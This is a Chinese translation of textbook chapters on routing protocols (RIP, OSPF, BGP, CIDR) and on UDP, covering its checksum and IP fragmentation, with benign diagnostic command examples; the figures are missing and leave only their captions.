&#8226;触发更新。每当一条路由的度量发生变化时，就对它进行更新。不需要发送完整路由表，而只需要发送那些发生变化的表项。
每条路由都有与之相关的定时器。如果运行RIP的系统发现一条路由在3分钟内未更新，就将该路由的度量设置成无穷大（16），并标注为删除。这意味着我们已经在6个30秒更新时间里没收到通告该路由的路由器的更新了。再过60秒，将从本地路由表中删除该路由，以保证该路由的失效已被传播开。
度量
RIP所使用的度量是以跳(hop)计算的。所有直接连接接口的跳数为1。考虑图10.4所示的路由器和网络。我们画出的4条虚线是广播RIP报文。
图10.4 路由器和网络示例
路由器R1通过发送广播到N1通告它与N2之间的跳数是1。（发送给N1的广播中通告它与N1之间的路由是无用的。）它同时也通过发送广播给N2通告它与N1之间的跳数为1。同样，R2通告它与N2的度量为1，与N3的度量为1。
如果相邻路由器通告它与其它网络路由的跳数为1，那么我们与那个网络的度量就是2，这是因为为了发送报文到该网络，我们必须经过那个路由器。在我们的例子中，R2到N1的度量是2，与R1到N3的度量一样。
由于每个路由器都发送其路由表给邻站，因此，可以判断在同一个自治系统AS内到每个网络的路由。如果在该AS内从一个路由器到一个网络有多条路由，那么路由器将选择跳数最小的路由，而忽略其它路由。
跳数的最大值是15，这意味着RIP只能用在主机间最大跳数值为15的AS内。度量为16表示到无路由到达该IP地址。
问题
这种方法看起来很简单，但它有一些缺陷。首先，RIP没有子网地址的概念。例如，如果标准的B类地址中16 bit的主机号不为0，那么RIP无法区分非零部分是一个子网号，或者是一个主机地址。有一些实现中通过接收到的RIP信息，来使用接口的网络掩码，而这有可能出错。
其次，在路由器或链路发生故障后，需要很长的一段时间才能稳定下来。这段时间通常需要几分钟。在这段建立时间里，可能会发生路由环路。在实现RIP时，必须采用很多微妙的措施来防止路由环路的出现，并使其尽快建立。RFC 1058 [Hedrick 1988a]中指出了很多实现RIP的细节。
采用跳数作为路由度量忽略了其它一些应该考虑的因素。同时，度量最大值为15则限制了可以使用RIP的网络的大小。
例子
我们将使用ripquery程序来查询一些路由器中的路由表，该程序可以从gated中得到。ripquery程序通过发送一个非正式请求（图10.3中命令字段为5的“poll”）给路由器，要求得到其完整的路由表。如果在5秒内未收到响应，则发送标准的RIP请求（command字段为1）。（我们前面提到过的，将地址系列字段置为0，度量字段置为16的请求，要求其它路由器发送其完整路由表。）
图10.5给出了我们将从sun主机上查询其路由表的两个路由器。如果我们在主机 sun上执行ripquery程序，以得到其下一站路由器netb的选路信息，那么我们可以得到下面的结果：
sun % ripquery -n netb
504 bytes from netb (140.252.1.183): 第一份报文包含504字节
这里删除了许多行
140.252.1.0, metric 1 图10.5上面的以太网
140.252.13.0, metric 1 图10.5下面的以太网
244 bytes from netb (140.252.1.183): 第二份报文包含剩下的244字节
下面删除了许多行
正如我们所猜想的那样，netb告诉我们子网的度量为1。另外，与netb相连的位于机端的以太网（140.252.1.0）的metric也是1。（-n参数表示直接打印IP地址而不需要去查看其域名。）在本例中，将netb配置成认为所有位于140.252.13子网的主机都与其直接相连——即，netb并不知道哪些主机真正与140.252.13子网相连。由于与140.252.13子网只有一个连接点，因此，通告每个主机的度量实际上没有太大意义。
图10.5 我们将要查询其路由表内容的两个路由器netb和gateway
图10.6给出了使用tcpdump交换的报文。我们采用-i s10参数指定SLIP接口。
图10.6 运行ripquery程序的tcpdump输出结果
第一个请求发出一个RIP轮询命令（第1行）。这个请求在5秒后超时，发出一个常规的RIP请求（第2行）。第1行和第2行最后的24表示请求报文的长度：4个字节的RIP首部（包括命令和版本），然后是单个20字节的地址和度量。
第3行是第一个回答报文。该行最后的25表示包含了25个地址和度量对，我们在前面已经计算过，其字节数为504。这是上面的ripquery程序所打印出来的结果。我们为tcpdump程序指定-s600选项，以让它从网络中读取600个字节。这样，它可以接收整个UDP数据报（而不是报文的前半部），然后打印出RIP响应的内容。我们将该输出结果省略了。
第4行是来自路由器的第二个响应报文，它包含后面的12个地址和度量对。我们可以计算出，该报文的长度为12×20 + 4=244，这正是ripquery程序前面所打印出来的结果。
如果我们越过netb路由器，到gateway，那么可以预测到我们子网（140.252.13.0）的度量为2。我们可以运行下面的命令来进行验证：
sun % ripquery -n gateway
504 bytes from gateway (140.252.1.4):
这里删除了许多行
140.252.1.0, metric 1 图10.5上面的以太网
140.252.13.0, metric 1 图10.5下面的以太网
这里，位于图10.5上面的以太网（140.252.1.0）的度量依然是1，这是因为该以太网直接与gateway和netb相连。而我们的子网140.252.13.0正如预想的一样，其度量为2。
另一个例子
我们现在察看以太网上所有非主动请求的RIP更新，以看一看RIP定期给其邻站发送的信息。图10.7是noao.edu网络的多种排列情况。为了简化，我们不用本文其它地方所采用的路由器表示方式，而以Rn来代表路由器，其中n是子网号。我们以虚线表示点对点链路，并给出了这些链路对端的IP地址。
图10.7 noao.edu 140.252的多个网络
我们在主机solaris上运行Solaris 2.x的snoop程序，它与tcpdump相类似。我们可以在不需要超用户权限的条件下运行该程序，但它只捕获广播报文、多播报文，以及发送给主机的报文。图10.8给出了在60秒内所捕获的报文。在这里，我们将大部分正式的主机名以Rn来表示。
图10.8 solaris在60秒内所捕获到的RIP广播报文
-P 标志以非混杂模式捕获报文，-tr 打印出相应的时戳，而udp port 520 只捕获信源或信宿端口号为520的UDP数据报。
来自R6，R4，R2，R7，R8和R3的前6个报文，每个报文只通告一个网络。查看这些报文，我们可以发现R2通告前往140.252.6.0的跳数为1的一条路由，R4通告前往140.252.4.0的跳数为1的一条路由，等等。
但是，gateway路由器却通告了15条路由。我们可以通过运行 snoop程序时加上-v参数来查看RIP报文的全部内容。（这个标志输出全部报文的全部内容：以太网首部，IP首部，UDP首部，以及RIP报文。我们只保留了RIP信息而删除了其它信息。）图10.9给出了输出结果。
把这些子网140.252.1上通告报文经过的路由与图10.7中的拓扑结构进行比较。
使人迷惑不解的一个问题是为什么图10.8输出结果中，R10通告其有4个网络而在图10.7中显示的只有3个。如果我们查看带snoop的RIP报文，就会得到以下通告路由：
RIP： Address Metric
RIP: 140.251.0.0 16 (not reachable)
RIP: 140.252.9.0 1
RIP: 140.252.10.0 1
RIP: 140.252.11.0 1
前往B类网络140.251的路由是假的，不应该通告它。（它属于其它机构而不是noao.edu。）
图10.9 来自gateway的RIP响应
图10.8中，对于 R10发送的RIP报文，snoop输出“BROADCAST”符号，它表示目的IP地址是有限的广播地址255.255.255.255（12.2节），而不是其它路由器用来指向子网的广播地址（140.252.1.255）。
10.5 RIP协议版本2
RFC 1388 [Malkin 1993a]中对RIP定义进行了扩充，通常称其结果RIP-2。这些扩充并不改变协议本身，而是利用图10.3中的一些标注为“必须为0”的字段来传递一些额外的信息。如果RIP忽略这些必须为0的字段，那么，RIP和RIP-2可以互操作。
图10.10重新给出了由RIP-2定义的图。对于RIP-2来说，其版本字段为2。
选路域(routing domain)是一个选路守护程序的标识符，它指出了这个数据报的所有者。在一个Unix实现中，它可以是选路守护程序的进程号。该域允许管理者在单个路由器上运行多个RIP实例，每个实例在一个选路域内运行。
选路标记(routing tag)是为了支持外部网关协议而存在的。它携带着一个EGP和BGP的自治系统号。
每个表项的子网掩码应用于相应的IP地址上。下一站IP地址指明发往目的IP地址的报文该发往哪里。该字段为0意味着发往目的地址的报文应该发给发送RIP报文的系统。
图10.10 RIP-2报文格式
RIP-2提供了一种简单的鉴别机制。可以指定RIP报文的前20字节表项地址系列为0xffff，路由标记为2。表项中的其余16字节包含一个明文口令。
最后，RIP-2除了广播（第12章）外，还支持多播。这可以减少不收听RIP-2报文的主机的负载。
10.6 OSPF：开放最短路径优先
OSPF是除RIP外的另一个内部网关协议。它克服了RIP的所有限制。RFC 1247 [Moy 1991]中对第2版OSPF进行了描述。
与采用距离向量的RIP协议不同的是，OSPF是一个链路状态协议。距离向量的意思是，RIP发送的报文包含一个距离向量（跳数）。每个路由器都根据它所接收到邻站的这些距离向量来更新自己的路由表。
在一个链路状态协议中，路由器并不与其邻站交换距离信息。它采用的是每个路由器主动地测试与其邻站相连链路的状态，将这些信息发送给它的其它邻站，而邻站将这些信息在自治系统中传播出去。每个路由器接收这些链路状态信息，并建立起完整的路由表。
从实际角度来看，二者的不同点是链路状态协议总是比距离向量协议收敛更快。收敛的意思是在路由发生变化后，例如在路由器关闭或链路出故障后，可以稳定下来。[Perlman 1992]的9.3节对这两种类型的选路协议的其它方面进行了比较。
OSPF与RIP（以及其它选路协议）的不同点在于，OSPF直接使用IP。也就是说，它并不使用UDP或TCP。对于IP首部的protocol字段，OSPF有其自己的值（图3.1）。
另外，作为一种链路状态协议而不是距离向量协议，OSPF还有着一些优于RIP的特点。
1. OSPF可以对每个IP服务类型计算（图3.2）计算各自的路由集。这意味着对于任何目的，可以有多个路由表表项，每个表项对应着一个IP服务类型。
2. 给每个接口指派一个无维数的费用。可以通过吞吐率、往返时间、可靠性或其它性能来进行指派。可以给每个IP服务类型指派一个单独的费用。
3. 当对同一个目的地址存在着多个相同费用的路由时，OSPF在这些路由上平均分配流量。我们称之为流量平衡。
4. OSPF支持子网：子网掩码与每个通告路由相送连。这样就允许将一个任何类型的IP地址分割成多个不同大小的子网。（我们在3.7节中给出了这样的一个例子，称之为变长度子网。）到一个主机的路由是通过全1子网掩码进行通告的。默认路由是以IP地址为0.0.0.0，网络掩码为全0进行通告的。
5. 路由器之间的点对点链路不需要每端都有一个IP地址。我们称之为无编号网络。这样可以节省IP地址——现在非常紧缺的一种资源。
6. 采用了一种简单鉴别机制。可以采用类似于RIP-2机制（10.5节）的方法指定一个明文口令。
7. OSPF采用多播（第12章），而不是广播形式，以减少不参与OSPF的系统负载。
随着大部分厂商支持OSPF，在很多网络中OSPF将逐步取代RIP。
10.7 BGP：边界网关协议
BGP是一种不同自治系统之间网关进行通信的外部网关协议。BGP是ARPANET所使用的老EGP的取代品。RFC1267 [Lougheed and Rekhter 1991] 对第3版的BGP进行了描述。
RFC 1268 [Rekhter and Gross 1991] 描述了如何在Internet中使用BGP。下面对于BGP的大部分描述都来自于这两个RFC文档。同时，1993年正在开发第4版的BGP（见RFC 1467 [Topolcic 1993]），以支持我们将在10.8节中所描述的CIDR。
BGP系统与其它BGP系统之间交换网络可到达信息。这些信息包括数据到达这些网络所必须经过的自治系统AS中的所有路径。这些信息足以构造一幅自治系统连接图。然后，可以根据连接图删除选路环，制订选路策略。
首先，我们将一个自治系统中的IP数据报分成本地流量和通过流量。在自治系统中，本地流量是起始或终止于该自治系统的流量。也就是说，其信源IP地址或信宿IP地址所指确定的主机位于该自治系统中。其它的流量则称为通过流量。在Internet中使用BGP的一个目的就是减少通过流量。
可以将自治系统分为以下几种类型：
1. 残桩自治系统(stub AS)，它与其它自治系统只有单个连接。stub AS只有本地流量。
2. 多接口自治系统(multihomed AS)，它与其它自治系统有多个连接，但拒绝传送通过流量。
3. 转送自治系统(transit AS)，它与其它自治系统有多个连接，在一些策略准则之下，它可以传送本地流量和通过流量。
这样，可以将Internet的总拓扑结构看成是由一些残桩自治系统、多接口自治系统以及转送自治系统的任意互连。残桩自治系统和多接口自治系统不需要使用BGP——它们通过运行EGP在自治系统之间交换可到达信息。
BGP允许使用基于策略的选路。由自治系统管理员制订策略，并通过配置文件将策略指定给BGP。制订策略并不是协议的一部分，但指定策略允许BGP实现在存在多个可选路径时选择路径，并控制信息的重发送。选路策略与政治、安全或经济因素有关。
BGP与RIP和OSPF的不同之处在于BGP使用TCP作为其传输层协议。两个运行BGP的系统之间建立一条TCP连接，然后交换整个BGP路由表。从这个时候开始，在路由表发生变化时，再发送更新信号。
BGP是一个距离向量协议，但是与（通告到目的地址跳数的）RIP不同的是，BGP列举了到每个目的地址的路由（自治系统到达目的地址的序号）。这样就排除了一些距离向量协议的问题。采用16 bit数字表示自治系统标识。
BGP通过定期发送keepalive报文给其邻站来检测TCP连接对端的链路或主机失败。两个报文之间的时间间隔建议值为30秒。应用层的keepalive报文与TCP的keepalive选项（第23章）是独立的。
10.8 CIDR：无类型域间选路（Classless Interdomain Routing）
在第3章中，我们指出了B类地址的缺乏，因此现在的多个网络站点只能采用多个C类网络号，而不采用单个B类网络号。尽管分配这些C类地址解决了一个问题（B类地址的缺乏），但它却带来了另一个问题：每个C类网络都需要一个路由表表项。无类型域间选路（CIDR）是一个防止Internet路由表膨胀的方法。它也称为超网（supernetting），在RFC 1518 [Rekher and Li 1993] 和RFC 1519 [Fuller et al. 1993]中对它进行了描述，而[Ford, Rekhter, and Braun 1993]是它的综述。CIDR有一个InternetArchitecture Board's blessing [Huitema 1993]。RFC 1467 [Topolcic 1993] 对Internet中CIDR开发状况进行了小结。
CIDR的基本观点是采用一种分配多个IP地址的方式，使其能够将路由表中的许多表项总和(summarization)成更少的数目。例如，如果给单个站点分配16个C类地址，以一种可以用总和的方式来分配这16个地址，这样，所有这16个地址可以参照Internet上的单个路由表表项。同时，如果有8个不同的站点是通过同一个Internet服务提供商的同一个连接点接入Internet的，且这8个站点分配的8个不同IP地址可以进行总和，那么，对于这8个站点，在Internet上，只需要单个路由表表项。
要使用这种总和，必须满足以下三种特性。
1. 为进行选路要对多个IP地址进行总和时，这些IP地址必须具有相同的高位地址比特。
2. 路由表和选路算法必须扩展成根据32 bitIP地址和32 bit掩码做出选路决策的。
3. 必须扩展选路协议使其除了32 bit地址外，还要有32 bit掩码。OSPF（10.6节）和RIP-2（10.5节）都能够携带第4版BGP所提出的32 bit掩码。
例如，RFC 1466 [Gerich 1993] 建议欧洲新的C类地址的范围是194.0.0.0到195.255.255.255。以16进制表示，这些地址的范围是0xc2000000到0xc3ffffff。它代表了65536个不同的C类网络号，但他们地址的高7 bit是相同的。在欧洲以外的国家里，可以采用IP地址为0xc2000000和32 bit0xfe000000 (254.0.0.0) 为掩码的单个路由表表项来对所有这些65536个C类网络号选路到单个点上。C类地址的后面各比特位（即在194或195后面各比特）也可以进行层次分配，例如以国家或服务提供商分配，以允许在欧洲路由器之间，使用除了这32 bit掩码的高7 bit外的其它比特进行概括。
CIDR同时还使用一种技术，使最佳匹配总是最长的匹配：即在32 bit掩码中，它具有最大值。我们继续采用上一段中所用的例子，欧洲的一个服务提供商可能会采用一个与其它欧洲服务提供商不同的接入点。如果给该提供商分配的地址组是从194.0.16.0到194.0.31.255 (16个C类网络号)，那么可能只有这些网络的路由表项的IP地址是194.0.16.0，掩码为255.255.240.0 (0xfffff000)。发往194.0.22.1地址的数据报将同时与这个路由表表项与其它欧洲C类地址的表项进行匹配。但是由于掩码255.255.240比254.0.0.0更“长”，因此将采用具有更长掩码的路由表表项。
“无类型”的意思是现在的选路决策是基于整个32 bitIP地址的掩码操作。而不管其IP地址是A类、B类或是C类，都没有什么区别。
CIDR的最初是针对新的C类地址提出的。这种变化将使Internet路由表增长的速度缓慢下来，但对于现存的选路则没有任何帮助。这是一个短期解决方案。作为一个长期解决方案，如果将CIDR应用于所有IP地址，并根据各洲边界和服务提供商对已经存在的IP地址进行重新分配（且所有现有主机重新进行编址！），那么[Ford, Rekhter, and Braun 1993] 是宣称，目前包含10,000网络表项的路由表将会减少成只有200个表项。
10.9 小结
有两种基本的选路协议，即用于同一自治系统各路由器之间的内部网关协议（IGP）和用于不同自治系统内路由器通信的外部网关协议（EGP）。
最常用的IGP是路由信息协议（RIP），而OSPF是一个正在得到广泛使用的新IGP。一种新近浒的EGP是边界网关协议（BGP）。在本章中，我们考虑了RIP及其交换的报文类型。第2版是RIP是其最近的一个改进版，它支持子网，还有一些其它改进技术。我闪同时也对OSPF，BGP和无类型域间选路（CIDR）进行了描述，CIDR是一种新技术，采用它可以减小Internet路由表的大小。
你可能还会遇到一些其它的OSI选路协议。域间选路协议（IDRP）最开始时，是一个为了使用OSI地址而不是IP地址，而进行修改的BGP版本。Intermediate sys tem to Intermediate sys tem 协议（IS-IS）是OSI的标准IGP。可以用它来选路CLNP（无连接网络协议），这是一种与IP类似的OSI协议。IS-IS和OSPF相似。
动态选路仍然是一个网间互连的研究热点。对使用的选路协议和运行的路由守护程序进行选择，是一项复杂的工作。[Perlman 1992]提供了许多细节。
习题：
10.1 在图10.9中哪些路由是从路由器kpno进入gateway的？
10.2 假设一个路由器要使用RIP通告30个路由，这需要一个包含25条路由和另一个包含5条路由的数据报。如果每过一个小时，第一个包含25条路由的数据报丢失一次，那么其结果如何？
10.3 OSPF报文格式中有一个校验和字段，而RIP报文则没有此项，这是为什么？
10.4 像OSPF这样的负载平衡，对于传输层的影响是什么？
10.5 查阅RFC 1058 关于实现RIP的其它资料。在图10.8中，140.252.1网络的每个路由器只通告它所提供的路由，而它并不能通过其它路由器的广播中知道任何其它路由。这种技术的名称是什么？
10.6 在3.4节中，我们说过除了图10.7中所示的8个路由器外，140.252.1子网上还有超过100个主机。那么这100个主机是如何处理每30秒到达它们的8个广播信息呢（图10.8）？
10－1
11 UDP：用户数据报协议
11.1 引言
UDP是一个简单的面向数据报的运输层协议：进程的每个输出操作都正好产生一个UDP数据报，并组装成一份待发送的IP数据报。这与面向流字符的协议不同，如TCP，应用程序产生的全体数据与真正发送的单个IP数据报可能没有什么联系。
UDP数据报封装成一份IP数据报的格式如图11.1所示。
图11.1 UDP封装
RFC 768 [Postel 1980] 是UDP的正式规约。
UDP不提供可靠性：它把应用程序传给IP层的数据发送出去，但是并不保证它们能到达目的地。由于缺乏可靠性，我们似乎觉得要避免使用UDP而使用一种可靠协议如TCP。我们在第17章讨论完TCP后将再回到这个话题，看看什么样的应用程序可以使用UDP。
应用程序必须关心IP数据报的长度。如果它超过网络的MTU（2.8节），那么就要对IP数据报进行分片。如果需要，源端到目的端之间的每个网络都要进行分片，并不只是发送端主机连接第一个网络才这样做。（我们在2.9节中已定义了路径MTU的概念。）在11.5节中，我们将讨论IP分片机制。
11.2 UDP首部
UDP首部的各字段如图11.2所示。
图11.2 UDP首部
端口号表示发送进程和接收进程。在图1.8中，我们画出了TCP和UDP用目的端口号来分用来自IP层的数据的过程。由于IP层已经把IP数据报分配给TCP或UDP（根据IP首部中协议字段值），因此TCP端口号由TCP来查看，而UDP端口号由UDP来查看。TCP端口号与UDP端口号是相互独立的。
（下面是原书p.144①的译文）
尽管相互独立，如果TCP和UDP同时提供某种知名服务，两个协议通常选择相同的端口号。这纯粹是为了使用方便，而不是协议本身的要求。
UDP长度字段指的是UDP首部和UDP数据的字节长度。该字段的最小值为8字节。（发送一份0字节的UDP数据报是OK。）这个UDP长度是有冗余的。IP数据报长度指的是数据报全长（图3.1），因此UDP数据报长度是全长减去IP首部的长度（该值在首部长度字段中指定，如图3.1）。
11.3 UDP检验和
UDP检验和覆盖UDP首部和UDP数据。回想IP首部的检验和，它只覆盖IP的首部----并不覆盖IP数据报中的任何数据。
UDP和TCP在首部中都有覆盖它们首部和数据的检验和。UDP的检验和是可选的，而TCP的检验和是必需的。
尽管UDP检验和的基本计算方法与我们在3.2节中描述的IP首部检验和计算方法相类似（16 bit字的二进制反码和），但是它们之间存在不同的地方。首先，UDP数据报的长度可以为奇数字节，但是检验和算法是把若干个16 bit字相加。解决方法是必要时在最后增加填充字节0，这只是为了检验和的计算。（也就是说，可能增加的填充字节不被传送。）
其次，UDP数据报和TCP段都包含一个12字节长的伪首部，它是为了计算检验和而设置的。伪首部包含IP首部一些字段。其目的是让UDP两次检查数据是否已经正确到达目的地（例如，IP没有接受地址不是本主机的数据报，以及IP没有把应传给另一高层的数据报传给UDP）。UDP数据报中的伪首部格式如图11.3所示。
图11.3 UDP检验和计算过程中使用的各个字段
在该图中，我们特地举了一个奇数长度的数据报例子，因而在计算检验和时需要加上填充字节。注意，UDP数据报的长度在检验和计算过程中出现两次。
如果检验和的计算结果为0，它存入的值为全1（65535），相当于它的算术二进制反码。如果传送的检验和为0，说明发送端没有计算检验和。
如果发送端没有计算检验和而接收端检测到检验和有差错，那么UDP数据报就要被悄悄地丢弃。不产生任何差错报文。（当IP层检测到IP首部检验和有差错时也这样做。）
UDP检验和是一个端到端的检验和。它由发送端计算，然后由接收端验证。其目的是为了发现UDP首部和数据在发送端到接收端之间发生的任何改动。
尽管UDP检验和是可选的，但是它们应该始终利用它。在80年代，一些计算机产商在默认条件下关闭UDP检验和的功能，以提高使用UDP协议的NFS（Network File sys tem）的速度。在单个局域网中这可能是可以接受到，但是在数据报通过路由器时，通过对链路层数据帧进行循环冗余检验（如以太网或令牌环数据帧）可以检测到大多数的差错，导致传输失败。不管相信与否，路由器中也存在软件和硬件差错，以致于修改数据报中的数据。如果关闭端到端的UDP检验和功能，那么这些差错在UDP数据报中就不能被检测出来。另外，一些数据链路层协议（如SLIP）没有任何形式的数据链路检验和。
（下面是原书p.146①的译文）
Host Requirements RFC声明，UDP检验和选项在默认条件下是打开的。它还声明，如果发送端已经计算了检验和，那么接收端必须检验接收到的检验和（如接收到检验和不为0）。但是，许多系统没有遵守这一点，只是在出口检验和选项被打开时才验证接收到的检验和。
tcpdump输出
很难知道某个特定系统是否打开了UDP检验和选项。应用程序通常不可能得到接收到的UDP首部中的检验和。为了得到这一点，作者在tcpdump程序中增加了一个选项，以打印出接收到的UDP检验和。如果打印出的值为0，说明发送端没有计算检验和。
我们测试网络上三个不同系统的输出如图11.4所示（参见封面二）。运行我们自编的sock程序（附录C），发送一份包含9个字节数据的UDP数据报给标准回显服务器。
图11.4 tcpdump输出，观察其他主机是否打开UDP检验和选项
我们从这里可以看出，三个系统中有两个打开了UDP检验和选项。
还要注意的是，在这个简单例子中，送出的数据报与收到的数据报具有相同的检验和值（第3和第4行，第5和第6行）。从图11.3我们可以看出，两个IP地址进行了交换，正如两个端口号一样。伪首部和UDP首部中的其他字段都是相同的，就像数据回显一样。这再次表明UDP检验和（事实上，TCP/IP协议簇中所有的检验和）是简单的16 bit和。它们检测不出交换两上16 bit的差错。
（下面是原书p.147①的译文）
作者在14.2节中在八个域名服务器中各进行了一次DNS查询。DNS主要使用UDP，结果只有两台服务器打开了UDP检验和选项。
一些统计结果
文献[Mogul 1992]提供了在一个繁忙的NFS（Network File sys tem）服务器上所发生的不同检验和差错的统计结果，时间持续了40天。统计数字结果如图11.5所示。
图11.5 检测到不同检验和差错的分组统计结果
最后一列是每一行的大概总数，因为以太网和IP层还使用有其他的协议。例如，不是所有的以太网数据帧都是IP数据报，至少以太网还要使用ARP协议。不是所有的IP数据报都是UDP或TCP数据，因为ICMP也用IP传送数据。
注意，TCP发生检验和差错的比例与UDP相比要高得多。这很可能是因为在该系统中的TCP连接经常是“远程”连接（经过许多路由器，网桥等中间设备），而UDP一般为本地通信。
从最后一行可以看出，不要完全相信数据链路（如以太网，令牌环等）的CRC检验。你应该始终打开端到端的检验和功能。而且，如果你的数据很有价值，也不要完全相信UDP或TCP的检验和，因为这些都只是简单的检验和，不能检测出所有可能发生的差错。
11.4 一个简单的例子
用我们自己编写的sock程序生成一些可以通过tcpdump观察的UDP数据报：
bsdi % sock -v -u -i -n4 svr4 discard
connected on 140.252.13.35.1108 to 140.252.13.34.9
bsdi % sock -v -u -i -n4 -w0 svr4 discard
connected on 140.252.13.35.1110 to 140.252.13.34.9
第一次执行这个程序时我们指定verbose模式（-v）来观察ephemeral端口号，指定UDP（-u）而不是默认的TCP，并且指定源模式（-i）来发送数据，而不是读写标准的输入和输出。-n4选项指明输出4份数据报（默认条件下为1024），目的主机为svr4。我们在1.12节描述了丢弃服务。每次写操作的输出长度取默认值1024。
第二次运行该程序时我们指定-w0，意思是写长度为0数据报。两个命令的tcpdump输出结果如图11.6所示。
图11.6 向一个方向发送UDP数据报时的tcpdump输出
输出显示有四份1024字节的数据报，接着有四份长度为0的数据报。每份数据报间隔几毫秒。（输入第二个命令花了41秒的时间。）
在发送第一份数据报之前，发送端和接收端之间没有任何通信。（在第17章，我们将看到TCP在发送数据的第一个字节之前必须与另一端建立连接。）另外，当收到数据时，接收端没有任何确认。在这个例子中，发送端并不知道另一端是否已经收到这些数据报。
最后要指出的是，每次运行程序时，源端的UDP端口号都发生变化。第一次是1108，然后是110。在1 .9节我们已经提过，客户程序使用ephemeral端口号一般在1024到5000之间，正如我们现在看到的这样。
11.5 IP分片
正如我们在2.8节描述的那样，物理网络层一般要限制每次发送数据帧的最大长度。任何时候IP层接收到一份要发送的IP数据报时，它要判断向本地哪个接口发送数据（路由选择），并查询该接口获得其MTU。IP把MTU与数据报长度进行比较，如果需要则进行分片。分片可以发生在原始发送端主机上，也可以发生在中间路由器上。
当把一份IP数据报分片以后，只有到达目的地才进行重新组装。（这里的重新组装与其他网络协议不同，它们要求在下一站就进行进行重新组装，而不是在最终的目的地。）重新组装由目的端的IP层来完成，其目的是使分片和重新组装过程对运输层（TCP和UDP）是透明的，除了某些可能的越级操作外。已经分片过的数据报有可能会再次进行分片（可能不止一次）。IP首部中包含的数据为分片和重新组装提供了足够的信息。
回忆IP首部（图3.1），下面这些字段用于分片过程。对于发送端发送的每份IP数据报来说，其标识字段都包含一个唯一值。该值在数据报片时被复制到每个片中。（我们现在已经看到这个字段的用途。）标志字段用其中一个比特来表示“更多的片”。除了最后一片外，其他每个组成数据报的片都要把该比特置1。片偏移字段指的是该片偏移原始数据报开始处的位置。另外，当数据报被分片后，每个片的总长度值要改为该片的长度值。
最后，标志字段中有一个比特称作“不分片”位。如果将这一比特置1，IP将不对数据报进行分片。相反把数据报丢弃并发送一个ICMP差错报文（“需要进行分片但设置了不分片比特”，图6 .3）给发起端。在下一节我们将看到出现这个差错的例子。
当IP数据报被分片后，每一片都成为一个分组，具有自己的IP首部，并在选择路由时与其他分组独立。这样，当数据报的这些片到达目的端时有可能会失序，但是在IP首部中有足够的信息让接收端能正确组装这些数据报片。
尽管IP分片过程看起来是透明的，但有一点让人不想使用它：即使只丢失一片数据也要重传整个数据报。为什么会发生这种情况呢？因为IP层本身没有超时重传的机制——由更高层来负责超时和重传。（TCP有超时和重传机制，但UDP没有。一些UDP应用程序本身也执行超时和重传。）当来自TCP报文段的某一片丢失后，TCP在超时后会重发整个TCP报文段，该报文段对应于一份IP数据报。没有办法只重传数据报中的一个数据报片。事实上，如果对数据报分片的是中间路由器，而不是发起的端系统，那么发起的端系统就无法知道数据报是如何被分片的。就这个原因，经常要避免分片。文献[Kent and Mogul 1987]对避免分片进行了论述。
使用UDP很容易导致IP分片。（在后面我们将看到，TCP试图避免分片，但对于应用程序来说几乎不可能强迫TCP发送一个需要进行分片的长报文段。）我们可以用sock程序来增加数据报的长度，直到分片发生。在一个以太网上，数据帧的最大长度是1500字节（图2.1），其中1472字节留给数据，假定IP首部为20字节，UDP首部为8字节。我们分别以数据长度为1471, 1472, 1473和1474字节运行sock程序。最后两次应该发生分片：
bsdi % sock -u -i -nl -w1471 svr4 discard
bsdi % sock -u -i -nl -w1472 svr4 discard
bsdi % sock -u -i -nl -w1473 svr4 discard
bsdi % sock -u -i -nl -w1474 svr4 discard
相应的tcpdump输出如图11.7所示。
图11.7 观察UDP数据报分片
前两份UDP数据报（第1行和第2行）能装入以太网数据帧，没有被分片。但是对应于写1473字节的IP数据报长度为1501，就必须进行分片（第3行和第4行）。同理，写1474字节产生的数据报长度为1502，它也需要进行分片（第5行和第6行）。
当IP数据报被分片后，tcpdump打印出其他的信息。首先，frag 26304（第3行和第4行）和frag 26313（第5行和第6行）指的是IP首部中标识字段的值。
分片信息中的下一个数字，即第三行中位于冒号和@号之间的1480，是除IP首部外的片长。两份数据报第一片的长度均为1480：UDP首部占8字节，用户数据占1472字节。（加上IP首部的20字节分组长度正好为1500字节。）第一份数据报的第二片（第4行）只包含1字节数据----剩下的用户数据。第二份数据报的第二片（第6行）包含剩下的2字节用户数据。
在分片时，除最后一片外，其他每一片中的数据部分（除IP首部外的其余部分）必须是8字节的整数倍。在本例中，1480是8的整数倍。
位于@符号后的数字是从数据报开始处计算的片偏移值。两份数据报第一片的偏移值均为0（第3行和第5行），第二片的偏移值为1480（第4行和第6行）。跟在偏移值后面的加号对应于IP首部中3 bit标志字段中的“更多片”比特。设置这一比特的目的是让接收端知道在什么时候完成所有的分片组装。
最后，注意第4行和第6行（不是第一片）省略了协议名（UDP），源端口号和目的端口号。协议名是可以打印出来的，因为它在IP首部并被复制到各个片中。但是，端口号在UDP首部，只能在第一片中被发现。
发送的第三份数据报（用户数据为1473字节）分片情况如图11.8所示。需要重申的是，任何运输层首部只出现在第一片数据中。
另外需要解释几个术语：IP数据报是指IP层端到端的传输单元（在分片之前和重新组装之后），分组是指在IP层和链路层之间传送的数据单元。一个分组可以是一个完整的IP数据报，也可以是IP数据报的一个分片。
图11.8 UDP分片例子
11.6 ICMP不可到达差错（需要分片）
发生ICMP不可到达差错的另一种情况是，当路由器收到一份需要分片的数据报，而在IP首部又设置了不分片（DF）的标志比特。如果某个程序需要判断到达目的端的路途中最小MTU是多少——称作路径MTU发现机制（2.9节），那么这个差错就可以被该程序使用。
这种情况下的ICMP不可到达差错报报文格式如图11.9。这里的格式与图6.10不同，因为在第二个32 bit字中，16-31 bit可以提供下一站的MTU，而不再是0。
图11.9 需要分片但又设置不分片标志比特时的ICMP不可到达差错报文格式
如果路由器没有提供这种新的ICMP差错报文格式，那么下一站的MTU就设为0。
（下面是原书p.151①的译文）
新版的路由器需求RFC [Almquist 1993]声明，在发生这种ICMP不可到达差错时，路由器必须生成这种新格式的报文。
例子
关于分片作者曾经遇到一个问题，ICMP差错试图判断从路由器netb到主机sun之间的拔号SLIP链路的MTU。我们知道从sun到netb的链路的MTU：当SLIP被安装到主机sun时，这是SLIP配置过程中的一部分，加上我们在3.9节中已经通过netstat命令观察过。现在，我们想从另一个方向来判断它的MTU。（在第25章，我们将讨论如何用SNMP来判断。）在点到点的链路中，不要求两个方向的MTU为相同值。
所采用的技术是在主机solaris上运行ping程序到主机bsdi，增加数据分组长度，直到看见进入的分组被分片为止。如图11.10所示。
图11.10 用来判断从netb到sun的SLIP链路MTU的系统
